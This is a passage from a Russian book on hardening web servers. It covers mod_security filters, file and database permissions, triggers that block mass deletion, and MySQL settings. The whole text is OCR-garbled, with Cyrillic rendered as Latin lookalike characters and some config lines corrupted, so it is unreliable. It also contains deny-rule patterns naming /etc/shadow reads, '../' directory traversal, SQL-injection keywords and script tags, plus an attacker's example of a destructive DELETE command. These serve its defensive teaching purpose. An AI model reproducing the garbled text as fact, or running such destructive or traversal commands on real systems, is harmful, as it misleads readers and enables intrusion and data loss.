x o6paileHHIo U k (aiiny /etc/shadow;

() secFilter /bin/ls — B 3anpoce noJib3oBaTeNs lie NomKIo 6biTh 06paitoHus
K nporpammaM. B naHHOM ciiyyae 3anpeutdcTcs KoMalyla 1s, KOTOPUA MOXKOT
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NO3BONIHTL XaKepy YBHUAETb COAEPHKHMMOE KaTanoros, €c/ii B CLEHapHH eCTb
ownbka. HeoOxoanmo 3anpetnth oOpaileHHs K TaKMM KOMaHIaM, KakK cat, rm,
cp, ftp K Ap.;

O secFilter "\.\./" — KJaccHueckas aTtaka, koraza B URL yka3eiBatoTcs cum-
BONbI TOYeK. X He nomkHO OBITE TaMm;

O secFilter "delete[l:space:]}]+from" — 3anper TeKcTa delete ... from,
YyTO Yaule Bcero ucnonbdyerca B SQL-3anpocax mns yaaneHus aaHHbIX. Takoi
TeKCT OYeHb YacTO MCnonb3yeTcs B aTakax Tina SQL-uHbekuus. [lomumo 3to-
ro, peKOMEHAYeTC YCTAHOBUTb ClleAytollue PUNbTpbI:

® SecFilter "insert[[:space:]]+into" — Hcnoab3yercsa B SQL-3anpocax
Ans goOaBneHNs JaHHBIX;

¢ SecFilter "select.+from" — Wcnonbiyerca B SQL-3anpocax ans 4TeHus
AaHHbIX U3 6a3bl;

® SecFilter "<(.|\n)+>" H SecFilter "<[[:space:}]*script" —
fO3BOJIAIOT 3alIUTHTLCH OT XSS-arak.

MBI paccMOTpen OCHOBHble METOAbl, KOTOpble MOTYT MNOBBLICHTb 0e30MacHOCTb
Bawero Web-ceppepa. Takum o6pa3oM, MOXHO 3aliMilaTh JaXe CETH W3 Cepae-
poB. JononHUTenbHYO HHpOpPMaLUHIO MOXHO noJiyudTb ¢ Web-caiita paspabor-
YUKOB JAHHOIO MOAYJA.

Moaynk mod_rewrite

Mogayab mod_rewrite npegHasHaueH ais npeoGpasoBaHus URL u3 ogHoro Buaa
B Apyro#. 3auem 3To HyxkHo? B URL XxpaHuTCs He TONBKO anpec cepeepa U nyTh K
(paiiny, KOTOpbIH 3aNpOCHN NONb30OBaTeNb, HO K NapaMeTpbl, KOTOpble NepesaloTcs
Web-cTpaHuue. Mbl yxe TroBOpHAM, 4YTO 3TH mnapamerpbl He 6e3onacHbl,
M XaKepbl MCHObL3YIOT MUX AJI B3NIoMa, Mbl Takke OyAeM WX HUCnoOab30BaTh AJs
3THX ueneH B creayiollei riase.

Tak Bot, ¢ nomoubio mod_rewrite MOXHO caenarb Tak, 4ToObl URL Bbirmaneny
B BUJE: www,sitename.com/5754.htm. Yro 3aech Takoro? Ha nepeniii B3rnsg aTo
npocroit HTML-¢aiin, koTopblii He yMeeT npUHUMaTL nNapameTpbl, a Ha CaMOM
Aene napameTpbl NPOCTO CKPbIThI Garofapa Moxymo mod_rewrite, M 3TO HUKaKO#H
He HTML-daitn. MoxHo aaxke cka3atb 601bllle — Ha cepBepe HET Takoro ¢aiina
5754.htm. Ha camoMm sene uma ¢aiina npespalllactca B napamMeTpel, KOTOpble ne-
pealoTcs onpeseneHHOMY CLEHapHIO.

YyTb no3ke Mbl ellle BEpHEMCH K 3TOMY MOZYNIO M pacCMOTPHM METOAbI B31OMa
¥ 06Xxoza 3TOM 3aLLUMTBI.
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1.11. NpaBa gocryna

B nporpamMmipoBaHuH U aXMHHHCTPHPOBaAHWH HEOOXOAMMO BCEraa OTTAIKHBATLCA
OT NnpaBHNA: 3anpeLleHo Bee, YTo He paspeweHo. Koraa Bel HacTpauBaeTe KOMITh-
I0TEp, CEpBEpP WK MULIECTE MporpaMMmy, HeoGXOOMMO cCHauana 3anperuth abco-
JIOTHO BCE M TONBKO NOTOM BbIJABATh ONpelelieHHbIE Npaea. IT0 JOMKHO KAcaTbes
BCero, ¢ yem Bbl paGotaere. ITOT paspen MOCBALIEH NpaBaM J0CTyNa BO BCEX €N0
nposeeHUAX B oTHowWeHH Web-cepaepa.

1.11.1. NpaBa cueHapunes Web-cepBepa

CueHapu# JOJKHBI BRITIOMHATLCA B CHCTEME C MUHHMaJIbHBIMKH npaBaMHi. Hampu-
Mep, Ball CLiEHApHi NOJMKeH UMeTb npapo ofpaliarbcs K CUCTEMHOMY KaTajiory
/etc. B 3Tom Kkatasiore XpaHaTcs koH¢urypauuoHHele daitnsl OC Linux, u ecnu
nonb3oBaTeNb CMOXET CKOMNPOMETHPOBaTb CUEHapHii, TO BelHKa BEpPOATHOCTH,
YTO OH CMOXKET MNOTY4YHTb NpaBa aiMHHHCTPATOpA.

CueHapuu BbinonHser Web-cepsep (uyaule Bcero mis 3THX UeNeH HCNONB3YIOT
Apache), ¥ UMEHHO ero npaBamMi onpeaenAlOTCs Npasa BbINOIHAEMbIX CLIEHapHEB.
HauGonee 3¢ pekTHBHBIM METONOM 3aLlUTh] ABAAETCA CO3JaHHE HENPHUBHIETHPO-
BaHHOW YYeTHOH 3anucH (C MMHUMANbHO HeoOXOAMMBIMH npaBaMH), OT HUMEHH
KOTOpO#i GyaeT BBINONHATLCA caM cepBep Apache K Bce HCTIONHAEMBIE UM CLIEHAPUH.

Yro6b1 npoute 66110 ynpasnaTh npaBamu, pacnonaraiite ¢ainbl B OTAENBHBIX Ka-
tanorax no tunam. HanpuMep, dabnel ¢ Hactpolikamu (.inc, .dat ¥ T. A.) ny4we
BCEr0 NOMECTHTb B OJHH, (alinbl wabnoHoOB B ApYyroi, a ¢aiinel ¢ GyHKUNAMH Ha
JavaScript B TpeTuil. UcnonHsemsie daiinbl cueHapues Takoke He CTOMT pa3bpachl-
BaTh MO KaTanoram K pacnoSoXXHTb UX MaKCHMaNbHO KOMNAKTHO.

[ToueMy-TO cCUEHapHH aiMHHUCTPUPOBaHHA Web-caliTOM NpOrpaMMHCTEI AOTA/bI-
BaIOTCA pacnoiokHUTb B OTAENbHOM KaTanore, a BOT ¢ OCTaNbHbIMK THNamK ¢aii-
noB — npo6nema. Hy HeyXenu Tak CIOXHO pa3noxuTh (ainbl ¢ HaCTPOHKAMH,
kapTHHkaMu K JavaScript no nonoukam? Tak Beab ynoOHell uMu ynpasnsTb He
TONbLKO € TOUKH 3peHUs TIpaB KOCTYNa, HO U C TOYKH 3peHHs NOHUCKa, U Jae Mpo-
CTO KPacHBO, KOI/ia BCe JIEIUT aKKypaTHO.

[pasa Ha BbINONHEHHE AOMXKHDBI ObITh TONBKO Y TEX (aiioB, KOTOPbIM 3TO AECHCT-
BHTEJbHO HeobOxoaumo. Hanpumep, daiinbl ¢ komanaamu JavaScript nomkHbl
HMMETb npaBa TONbKO JI YTEHHUA, HO HUKaK He M5 BbIMOIIHEHHS, T. K. Takue ¢ai-
bl BbIMONHAIOTCSA HAa CTOPOHE KJIMEHTA.

1.11.2. NMpaBa cucTeMHbIX CLleHapueB

Y CHUCTEeMHBIX CLleHapHeB He JOMKHO ObITb HUKAKHX npaB ¥ MX BJjaaLCiblUaMH
JIOJIKHBI 6bITh TOJIBKO HENpUBUIIErHPOBaHHble 110/Ib3OBATE/H.
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Kaxxablit ¢aitn umeer onpeseneHHble npasa. [lonutka npas aoctyna k daiinam
3aBHCUT OT koHkpeTHoi OC. laBaiiTe paccMOTpHMM NOAKUTHKY Ha npumepe Linux,
KOTOpbiH B nocneHee BpeMs CTRHOBUTCA Hanbonee NomyaspHbIM pelleHHeM.

I[lpaea B OC Linux onpenensioTca Ha OCHOBE TPeX COCTABIAIOLIMX:

1. IlpaBa Bnanenbua — no yMON4aHHIO KTO co3paer (paitn, ToT ABnserca KU ero
BAaebLEM.

2. [lpaBa rpynnsl — 3a ¢aiinom Moxer ObITb 3aKperieHa onpeaeneHHas rpynna
nosb3oBarenei, M BCe NONb30BaTENH ITOH IrpyMNIbl MOTYT UMETb OnpeeNeHHbIe
npasa.

3. Ilpapa Bcex ocTanbHbIX — BCE OCTalIbHbIE NOJNIb30BATE/IH CHCTEMBI.

JAna xaxaoi cocTaBisiolled MOXHO Ha3HaYMThb NpaBa JOCTYna: 4YTEHHe, 3aMUCh
M BbINOJHeHHe. AGCONIOTHBIMM NpaBaMK Ha CUCTEMHbIH clieHapHii fomxeH obna-
JaTh TONbKO BIajieNell, KOTOpbii, B CBOIO Ouyepeab, AOMKeH obnanaTh Ha cepeepe
MHHHUMaNbHbIMH npaBaMH, a nydine GbiTh HUKeM (nobody, 3HarowMi Linux, aa
noiimer MeHs). Bce ocTanbHble AOMKHBI UMEThb NPaBO TONBKO HAa BbINOJIHEHHE,
HJaBatb npasa yTeHus U 3anucH Ge3 ocoboi HagoOOGHOCTH HACTOATENILHO He peKo-
MEHJyeTCH.

Ecan xakep cMoxer 3anucatb 4To-THGO B MCXOMHbIH KOX CHCTEMHOIO CLEHAapHA,
TO OH CMOJXET 3aMEHHTb €ro CBOei NporpaMMoii, koropast OyaeT BHINONHATL He-
obxoaumble B3noMItMKy AeticTeus. Hanpumep, Ha cepBepe MOxeT ObiTb YCTaHOB-
NeH cueHapuil, koTopbiii Oyaer BbINOAHATh KakHe-THOO neCTBHA Ha HEM: KONH-
poeaTh (aifibl, YUTaTh KOH(pHUrypauudoHHbie (aiinbl. Eciv npasa Web-cepsepa
JNOCTaTOYHBbl J/I8 YTEHWA CUCTEMHOro Karajora /etc, TO Xakep MOXeT YBHAETb
KOH(Hrypauuio, CnUCKH nonib3oBaTeneil 4, BO3MOXHO, JaXe Napojiy A0CTyna.

Bo3MmoxHoOcTb YTeHHs ¢aiina CUCTEMHOro CueHapHs MO3BOJMT YBHAETb €ro Mc-
XOAHbIH KOA. B3nOMIIMK CMOXET ero npoaHanH3MpoBaTh W HalTH ciabble MecTa
H BO3MOXKHblE ysa3BMMOCTH. Mckarh owinOKy HamHOro npoule, KOraa JOCTYneH
HCXOAHbIH ko4 nporpammsel. Hanpumep, PHP-cuenapuii MoxxeT noaknio4yaTh KOH-
¢urypauronHblii daiin ¢ HacTpolikamu. Ecnu atot daiin 6yaer noctynen ans yre-
HHsA BCEM NOJb30OBATENAM, TO XaKep CMOXET €ro NpoYMTaTh X YBHAETb, HaNpuMep,
naponu gocryna k CYB/I.

1.11.3. NpaBa aoctyna kK CYbJ}

MHorue nporpaMMHCTbl U @aIMHHHUCTPATOPbI He MO6AT BO3UTLCA € pacnpeaeneHu-
em npaB Ha CYB]], Hagesch, yTo noawinoyatbes OyayT TONbKO NeranbHble NOJMb-
30BaTeNM, U oHu OyayT akkypaTHO paboTaTh c CHcTeMOil. DTo Gonblias ownbka.
Ha3zHauyeHHble npaBa MOTYT 3alIMTHTb BaC OT MHOXKECTBA MOTEHLUMANbHbIX Npo-
Onem ¢ 6e30nacHOCTLIO,
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[TepBbiM nenoM Bbl JOMKHBI 3aLIMTHTb NoakntoYeHHa K cepeepy. Ecin CYB]]
H Web-cepeep, o6pabarbiBatoltuii cueHapuH, pacnofioXkeHbl Ha OJHOM (pu3Hye-
CKOM KOMNbIOTEpE HIH cepBepe, TO HeOOXOAUMO 3anPeTUTDb N00ble NOAKIIOYEHHUS
k CYB]J] uzsHe. [lomkHb! ObiTb pa3spellieHbl TONbKO NOKAIbHbIE MOAKIIOYEHHS,
O cMeHe naponis nO YMONYaHHIO s y)Ke TpoMOJidy, T. K. YNOMHMHan o6 3ToM He
OJMH pa3,

Ecnin CYBl u Web-cepeep ¢u3nuecku pasaenexbl, To HeOOXOAUMO ¢ NOMOLUBIO
CETEBOro 3KpaHa paspellHTh NOAKIIOYEHHUs TONbKO € onpeaeneHHbIX 1P-anpecos:
camoro Web-cepsepa M KOMNbIOTEPOB, Ha KOTOPbIX paboTalOT aAMHHUCTPATOPBI.
Bce octanbHble He AOMXKHBI MMETb npaBa NpAMOro MNOAK/IIOYEHHs, B HAeasie
k CYB]] Boo6ue He nomxkHO ObITh y1aNeHHOTO NOAKIIOYEHHS.

Yrobbl cLieHapuii cMOr NOMYYMTh JaHHblE, OH MOAKIIIOYAETCH K ONpPeAENEeHHOM
6a3ze AaHHBIX U B 3aBUCHMOCTH OT NpaB JO0CTYNa BbINONHAET KakHe-THOO aelicT-
BHA. MHorue agMHHHCTpaTOpbl He 0coBeHHO IO6GAT BO3UTLCA C NpaBaMH A0CTYnNa
k obbexTam Ga3bl JaHHbIX, @ NPOCTO AAIOT MOJHbIE NPHBUIIErHH HAa BCE OBLEKTDI.
310 HeepHo. C NOMOLLBIO PaB Bbl MOXKETE Pa3spellTh WUITH 3aNPETUTh BLIMNOIHE-
HHA onpeaeneHHbIX koMaHa. Hanpumep, GonblUMHCTBO cueHapHeB NPOCTO BbIGH-
pacT AaHHble U3 TabnHL ¥ oToOpaxkaeT UX NOMbL3OBaTENtO. [l 3TOr0 AOCTATOYHO
HMEThb TIpaBa TOAbKO Ha BLIGOPKY JaHHbIX (OnepaTop SELECT), NpH 3TOM MOJB30-
BaTe/b He OyAET UMETb BOZMOXKHOCTH yaanaTh U f00aBNATb JaHHble.

Yawe Bcero oTnaxeHHble cueHapuu paboTaloT gonroe spems M Oe3 H3MeHeHHS
CTPYKTYpbl AaHHbIX. Hcxoas u3 atoro, BnonaHe norudHbiM Gbuio Gbl 3anpeTHTDb
Y4€THOH 3anHcCH, depe3 KOTOpylO cueHapui noakmouaerca k CYBJ, nameHats
CTPYyKTYpy 6a3bl maHHbIX, T. €. n00aBNATH U yAansTb TakHe oObeKTbl, kKak 6a3bl
AaHHbIX, Tabauupl ¥ T. &. To ecTb 2anpelaeM BbITOSHEHHE KOMaHA:

O CREATE TABLE,
O ALTER TABLE;
(J DROP TABLE.

s BHECEHHA TaKHX M3MEHEeHHI HeoOX0AMMO UMETb OTAENbHYIO YUYETHYIO 3aMHUCh
WK 3anKchb aAMHUHHCTPATOpa U BMELIMBATbCA B CTPYKTYpY Oa3bi Hanpamyto (c no-
MOLLbIO YTHIKT aAMUHUCTPHPOBAHUA), @ HE Yepe3 CLEHapHH.

Aamuauctpatop Web-caiita fomkeHd UMmerbh Oonbille npas, NO3TOMY B CLiEHAPHUH
WIMHHHCTPHPOBAHHA MOXHO [UTA NOAK/TIOYEHHA HUCMONb30BaTh ApYyrye npasa, Ha-
IIpUMeEp Te, KOTOpble BBOAMT NONb30BaTeNb NpH BXOAe B 3aKpbiTylo YacTb Web-
cuiiTa WK 3alIMILEHHbIN kaTanor. 1o yao6HO, KOorja y Bac HeCKOJIbKO AAMHUHHK-
CIPATOpPOB C pa3HbIMH npaBaMH. B 3TOM cnyyae npaBuibHBIH AOCTYIl I'APAHTHUPY-
OlCA e TONbKO NpoBepKaMH B cueHapHH, HO U caMoit CYDBJl. Ecin aamuuuctps-
10p cMoxXeT OGOHTH 3aIUTy CLCHapHA W NONITAETCA BLIIOIHUTL JAIIPSINOHHYIO
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onepauuio (Hanpumep, yaanedve gaHHbix), To CYB]] npocro He cMoxeT Bbino-
HHTb 3TOro AeHCTBHA.

Cospementbie CYB]l, Takve kak MS SQL Server, Oracle u ap., ymetor paGorath
C TpHITepaMH. ITO nMporpaMmsbl Ha ompeAeNeHHOM A3bike (uauie Bcero SQL wnu
OAHO U3 ero paclurpeHunii — Transact-SQL unu PL/SQL), koTopbie BbINONHAIOTCH
B OTBET Ha onpeneneHHble cobbiTHA. Hanpumep, MOXXHO Ha3HauMTh TpHUrrep Ha
yAalleHHe, KOTOpblii OydeT AONONHHUTENBHO NPOBEPATh BO3MOXHOCTb YyAaNeHHs
sanucedl. Hanpumep, B3noMuinKk, KOTOpBIi 3axoueT yaanuTbh BCe AaHHble, Oyner
BBIMOMHATE KOMaHAy:

DELETE FROM TableName

Tpurrep Moxxer npoBepHThb, eCIM KONMUYECTBO yaanseMbiX 3anuceii Gonee 10, To
OTKJIOHHUTB MOTbLITKY yAaleHWUs, BbIAaTh OWHOKY WM, BOZMOXHO, A@KE OTNPaBHTb
coobuieHue agMuHKUCTpaTopy. TakuM 06pa3oM, NaHHble OCTAHYTCS B LEIOCTHOCTH
H COXPaHHOCTH, U MpH 3TOM aAMUHUCTPATOP CBOEBPEMEHHO Y3HAET O BTOPKEHHH.
KoHeuHo ke, 3Ty 3amiuTy nerko o0oiTH, eclii YAANATb AaHHbIE MO YaCTAM, HO 3TO
OTHMMET MHOTO BPEMEHH W HE KaXKblil BINOMIRMK pelnTcs Ha 3to. K Tomy e,
O4YHUCTHTL 0a3y NAHHBIX NOMCKOBOW CHCTEMbI TakMUM o00pa3soM npakTH4eckH
HEBO3MOXHO — U1 3TOr0 MOryT NOHafOOUTbCA roab!.

C apyroit cTopoHsl, He 0083aTeNbHO YAANATb 3anUCH. XaKkep MOXKET npocTo oOHO-
BUTb 6a3y, 06HYyIMB BCe NonA:

UPDATE TableName
8S8ET fil.dl- ' ’ fil.dz- 'Y e

Tak xakep oGoieT orpaHMu€HHe Ha yaNeHHe, HO MOXKHO XKe 3aNpeTHTb ¥ Macco-
Bble oOHoBneHHs. Ecnin Bol HMeeTe oneiT paboTbl ¢ 6a3amMu AaHHDbIX, TO nonpolyii-
T€ peanu3oBatbh nogoGHyI 3alUTy yepe3 Tpurrepbl. [lonoGHblit onbiT B NtoGoM
caydae BaM NpHroauTcs B 6yayuem.

bonee cnoxHbili MeToR 3allUThl TpebyeT OTIHYHOrC 3HaHUA Ga3bl JAHHLIX K ee
pabotbl. Hanpumep, Bbl TOYHO 3HaeTe, YTO yjAaneHWe CTPOK MNPOUCXORHUT OYEHb
peaxo. B 3ToM cnydyae MOXKHO C NOMOLIBIO TPHUITepa 3anpeTHTb yaaneHue Gonee
10 crpok B aeHb. TyT MOXHO npuayMaTh pa3fivyHble npaBWia, BCE 3aBUCHUT OT
Balllero YMeHHs NporpaMMHpOBaTh M OT KOHKPETHOH CHTYalLiMH Ha cepBepe.

B GonblMHCTBE ciiyyaeB AaHHble Ha cepBepe BooOlle paboTalOT TONbKO Ha yBe-
NHUYEHHe, a He yaaneHHue, No3ToMy onepaiHio DELETE UIA YYETHO 3anucH, yepes
KOTOpPYI0 paboTaloT npocThie MONb3OBATENH, MOXHO BooOule 3anpeTuTb. Jake
ec/id B KaKOM-TO clieHapHi HeoGXOAMMO ynaneHue, TO MOXKHO npocto A00aBUTH
B Tabauuy ele ogHO none, kotopoe Oyaer onpeaenaTb BUAUMOCTb. Ecau 3Have-
HWE B MONe PaBHO €AMHHLE, TO 3anuUCh He HyxucHO otobpaxarb (xak Gyaro oHa
yaaneHa). A koraa Ha Web-caliT 3aXoaHT aaMHHUCTpaTOp, TO 8 JTOT MOMENT
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MOXKHO 3aiTycKaTb cueHapHii, koTopbiii 6yaer aBTOMaTHYECKH yIanfiTb CKpbITHIE
CTpOkH (NOMeueHHbIe Ha yaaneHue).

Takum obpa3oM, Jaxe eciu Xakep ¥ MPOHHUKHET Ha cepBep C NpaBaMH NMPOCTOro
nose3oBaTeNs, @ He aMMHHCTPATOPa, TO OH HE CMOXKET YHHUTOXHTb naHHble. [la,
OH MOXKET HaMyCOpPHTb, IOTOMY YTO OT ONEépaluH INSERT HHUKYAa He AeHeLlLCH,
HO YHHYTOXHTb HE CMOJKET.

A Kak e Torna oGHOB/IEHHe UPDATE? A BAPYT Xakep OOHYTHT coaepXXMMOe BCeX
nonei Tabnuu? U TyT MOXXHO peanu3oBaTth npocreiiilylo, HO JOCTATO4HO 3ddek-
THBHYIO 3alIUTY, eci 6a3a KaHHLIX NO3BOAAET CTABUTH paspellleHHs Ha BbINOJHE-
HWe onpenesieHHLIX OnepaTopoB Ha oTaenbHbie nond. He porapanuce? MoOXHO
paspellnTh OOHOB/IEHHE TONLKO MOAfA, KOTOPOe OTBevaer 3a BMAUMOCTb. Ecnm
HY>KHO OGHOBHTB CTPOKY, TO CTapble JaHHble MoOMeYaeM, KaK HEBHANUMbIE, 2 HOBbIE
AaHHble noGasngeM B BHAe oraenbHoi cTpokd. Takum obpazoMm, MakcHManbHbIM
yuep6 — Bce 3anucH NoMedeHbl Ha yAaneHne, HO UX JIErKo BOCCTaHOBMTbL. ['naB-
HOE, 4TO CaMH AaHHble Ha MecCTe U B 6e30MmacHOCTH.

[Ipasa nocryna k CYBJ] # Tpurrepbl — 310 0YeHb MOUIHbIH MHCTPYMEHT AOMOJ-
HUTenbHOro obecneyeHHA LUENOCTHOCTH AaHHBIX cepBepa. Heobxonumo 3anperuTs
BCE, @ pa3peLnTh TOJbKO caMoe Heobxoaumoe. Uem Gonbllle CpencTB 3altUThI Bbl
Gynere ucnonbzoBaTh, TeM cloXHee Xakepy OyaeT npoOHTbCA CKBO3b 3TY 3aLLUTY
U nogo6path KAIOYH K Balled KpenocTH.

BonbuwnHcTBO CYBJZl no3BOAflOT HCNONb30OBAThb CHUCTEMY, BBINOMHATbL B HeH
KOMaHbl WK udTath painbl. B MySQL ectb Takas koMaHza LOAD DATA LOCAL
file. PexoMeHAYIO 3anpeTUTH €€ BbINONHEHHE U He UCNONb30BaTh B CBOMX CLIEHA-
puax. [lns storo B daiine /etc/my.cnf nuiuem B pazaene [mysqldl:

Bet-variable=local-infile=0

NpaBa Ha ynaneHHoe nogknoyeHue kK CYBA

Mb! yke 3HaeM, YTO NONb30BATENM HE JOMKHbBI HMETh NpaBa NPAMOro NOAKIIOYE-
Hua k MySQL. UM npocTto ato He HyxxHo. O6pawmasch k cueHapuio Ha a3bike PHP,
uMeHHO Web-cepsep, a He nonb3osartesb, noaktoyaercs k CYB/I.

UYroObl 3anpeTuTh ynanenHoe noakitodedve k MySQL, Heobxomumo B dafine
fetc/my.cnf, B pazgene [mysqld], nponucarb napaMeTp skip-networking. Ho an-
MHHHUCTPATOPbl OYeHb YaCTO AO/KHbI UMeTb AocTyn K 6ase AaHHbLIX yAan€HHO.
B yToM ciiyyae MOXKHO MOCTYNHUTbL O{HHM K3 CIEAYIOLIMX CNOCOGOB:

|. Paspewntsb ynaneHHoe nogxiIO4eHHe, HO NPU 3TOM 3aLUHTHTb €ro C NOMOLIbIO
ceTeBoro skpaHa. MySQL npurumaer coeauHeHus Ha nopr 3306. Heobxoaumo
IIPONMKCATh 3anpeT Ha AOCTYN K 3TOMY NOPTY V1A BCEX U ABHO pa3peuiHTh JOCTYN
TOJILKO ¢ onpeaeneHHbIX IP-anpecos, rae paboTaloT anMUHUCTPATOPb!.
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2. Hcnonb3oBaTh TyHHenHpoBaHHe. 310 aaxe Gonee nMpeanovTUTENbLHBIR BapH-
aHT, MOTOMY YTO MeXAYy CepBepOM M K/IMEHTOM AaHHble OyAyT nepenasaThbes
B 3allM(POBAHHOM BHJE.

MoxHo ucnonb3oBath 06a BapHaHTa. JInsa anMUHICTPATOPOB, KOTOpble HAXOAATCSA
BHYTPH OJHOH CETH C CepBepOM, MOXXHO HCIIONb30BaTh OTKPLITOE COEAHHEHHe
¥ OrpaHH4YMBaTb NpaBa AOCTyna yepe3 ceTeBoi dkpaH. [l yaaneHHbIX nonabs3oBaTe-
ne#, xotopble noakioyaroTcs yepe3 MHTepHET no OTKPBITBIM KaHanaM, MOXKHO
MCNOAb30BaTh TYHHEb.

1.12. CnoxHbie naponu

['naBHOe npaBuNO agMHHHUCTpATOpa: CAOXKHbIE NApPONKH HUKTO He oTMmeHan. OHu
IOMKHbI ObITh Be3sge, ocobeHHO Ha goctyn k OC u CYBJl. Ecnu xakep He cMoxer
GbICTPO NPOHUKHYTH Ha CepBep yepe3 CLeHapHH, OH MONbITaeTcs OCYLIECTBHTD
B3JIOM npocTbiM nepebopom naponei.

1.13. He Bce Tak 6e3HagexHo

3T1OT 0030p XaKepCKHX aTak He NPETEHOYeT Ha MOJHOTY A@Ke C TOYKH 3peHHs
B310M2 UMeHHO Web-cepBepa, HO 1 nocrapancs gaTh BCe HeoOXOoMMble Hayallb-
Hble CBeAeHHA. B To e BpeMs 1 BO3Aep)Kanca OT KOHKPETHbIX PelenToB, NOTOMY
YTO 3TO MOXXET ObITb BOCNPHHATO, Kak NPHU3bIB K NEHCTBHUIO, a A HE CTaBJIIO CBOEH
LeNbO YBENHYHTb KOMHUYECTBO XakepoB. Hapetoch, uTo 3TOT 00630p nomoxeT Bam
Gonblile y3HaTb O B3OMe H caenaTh COOCTBeHHY!O H3Hb Ge3onacHee.

B ocHOBHOM Mbl paccMaTpuBanu TeopHio. [lna peaninzauMd Ha npakTHKe BCEro
BbILIECKA3aHHOrO HYXHbI CMELHANH3IMPOBaHHbIE NPOrpamMMbl, H ANS onpejaeneH-
HbIX 33124 HX NPHAETCA NUCaTh CaAMOCTOATENBHO.,

[Touemy xakepbl oueHb 4acTo Aerko gobusatorca uenn? Ing 3TOro ecTb HECKOMb-
KO NMPHYHKH:

. OtkpbiTocTh cereBoro Tpaguka. [To ymonuaHuio nakeTbl, nepesaBaembie no
CEeTH, He LUIMPPYIOTCA U TIErKO MOTYT ObIThb NPOYMTAHBI.

2. Hanuune ownbok 8 OC 1 nporpamMmHom obecrieyeHHH, HCMOIB3YEMOM Ha cep-
Bepe, a NaBHOeE — HEeCBOEBPEMEHHOe UX OOHOBIEHHe.,

3. CnoXHOCTb OpraHM3aLMH 3aUlUTbi MEXIY PasHOPOAHLIMH CETAMM,
4. OwnbkHn koHpurypuposanus OC, cepBepHbIX NpOrpaMM H CPEACTB 3aLHUTHI.

Hepo3amoxxHOCTL 3auiuTbi M Geccuiive cepBEpOB MNPOTHB TaKOH arakH, Kak
DDoS. Ha paHHbii MOMEHT 3alUWILAIOTCA TEM, YTO YCTaHaBIHWBAIOT CepBEpPbHI
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C MaKCHManbHOM MPOM3BOAUTENBHOCTBIO M LIMPOKMMH KaHajlaMH CBA3H. Beas
NPOCTO HEOXKHAAHHBIA MOTOK HOBLIX MoceTHTenei, HanpuMep, 6narogapsa Ka-
xoi-To HoBocTH B CMMH TOXe MOoXeT npuBecTH K 0TKa3y B 00CTy)KMBaHHH.

6. OxoHOMHA Ha crieuuanucrax OGe3onacHoCcTHM M cucreMax obecneuyeHus Oeso-
HacHOCTH. JTO caMoe cTpallHoe. TONbKO cCneuHanKcT, UMEIOLHWI MHOTONEeT-
HUH ONBIT, MOXET 3alIMTHTb CHCTEMY OT BTopxkeHUs. MHorue poBepsloTcH
CBOMM 3HaHUAM MM NPOCTO KOHPUrypUPYIOT CHUCTeMBI ¢ Lenbio o6yuenns. Ho
npHobpeTaTh HaBBIKH HAall0 Ha TECTOBBIX TEXHHYECKHX CpeicTBax, a pabouue
cepBepbl H KOMIMBIOTEPDI JONKHbI NOAAEPHKHUBATHCA TOJNBKO CNEUHANTHCTaMH.

B cneayiomnx rnaBax Mel OyneM MCnoONb30BaTh TEOPHIO, ONHUCAHHYIO 3[4€Ch LA
B3noMa Web-caiito. S xouy elle pa3 npexynpeauTb Bac, YTO npakTHka HeoGXo-
AUMa TOJbLKO AJIA TOro, 4ToObl Bbl YBHIENH, KAK MOXKHO 3allUTHTBLCA OT aTakKH, HO
He I8 TOrO, YTOObI Bbl B3TaMbIBA/TH CEpBepbl.

[Touemy Web-caiitel ya3BuMbl U OTKyAa Oepyrca ownbku? asaiite nonpoGyem
paszobpartbes. Jliobas nporpamma Moxker coaepxath olMOKkH, a Web-caliT Moxxer
ObiTh 6e30nNacHbIM, TONIBKO €CNIM OH HEe COAEPXMMUT Nporpamm, a NOCTPOEH TONbKO
Ha YHCTOM A3bike pasmeTkd HTML. 3TOT 83blk He UMeeT HHKAKMX BO3MOXHOCTENH
ana pocryna k ¢atinopoit cucreme uny CYBJI, oH coaepXHT TONbKO Teru, KoTo-
pble onpeaensoT opopMmieHre (BHEWIHHUI BHA) A0KYMeHTa. TakuM obpa3om, eciu
HenpaBHiabHO ucnonb3oBaTb HTML, To MakcHMManbHblit Bped, KOTOPbIH MOXKHO
HaHeCTH, — UCMOPTHUTE popMaTHpOBaHHeE.

Ecnu nporectuposath Web-caktbl HHTEpHeTa Ha KOPPEKTHOCTb, TO OONBIIMHCTBO
M3 HUX HanucaHbl ¢ HapyuieHnaMu npasun W3C (World Wide Web Consortium,
xoHcopuuyM npoussoauTteneii [TO ans UHTepHeTa), HO 3TO HE rOBOPHT O TOM, YTO
3TH Web-CaliTbl YS3BHMbI, BE€Ib 3TO BCEro JIHLIbL pa3METKa.

Ho na HTML MoxHO co3aarh TOJABKO NpocTyio aoMaiHio Web-cTpaHuLy, co-
npoBoxaeHue koropoit Oyaer oueHb Heyno6HbIM. Ecniu Bbi cozgaBany Web-caiiTbi
3 HTML-cTpaHuu ¥ nocne 3TOro MeHANH AW3aidH WK XOTA Obl OOMH 3NIEMEHT
Au3afiHa, TO NOMKHbI 3HaTh, KAKMX YCHITHIA TpeByeT 3Ta npocTas onepauus.

'oBopsa o ToM, uto Web-caiit, noctpoeHHbiii Ha HTML, GezonaceH, He cneayer
3a0bIBaTh, YTO ONACHOCTh MOXKET NPUHTH CO CTOPOHb! CaAMOrro cepBepa W YCTaHOB-
JIEHHBIX Ha HEM NporpaMM: Xakep MOXET OCYLIECTBHTb B3NOM uepe3 OLIHOKY
a Apache unu OC.

lpn pocte konnuectea Web-cTpanuu Web-caliTa yBeJIHUHBAETCA CNOXKHOCTb €ro
conpoBoxaeHus. B 3ToM cnyuyae Bo3MOXHOCTeH pa3MeTKH CTaHOBHMTCA HeLOCTA-
IOUMHO W MPHXOAMTCA 3a1eACTBOBATh BO3MOXKHOCTH CEpBEpa, T. €, NPUXOJIUTCH M-
CATh CEpBEPHbIEC NPOrpaMMbl (CLiEHapHH), KOTOpble CMOTYT MCNONL3OBATL (paHso-
DylO CHCTEMY, CepBepHble nporpamMMbl W 6a3zy JaHIBIX JUIS JIHHAMHMOCKOTO
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noctpoeHns Web-ctpanuu. Ecnd npu HanucaHuM nporpaMmbl JOMYCTHTb OWKO-
Ky, To Web-caiiT, 1a 1 BeCb cepBep MOTYT OKa3aTbCs MOA Yrpo3oi BTOPXEHHS €O
CTOpOHbI XaKepa.

Yame scero ownbku cBA3aHbl ¢ HeBepHOH 00paboTKON napaMeTpoB, MOTyyaeMbIX
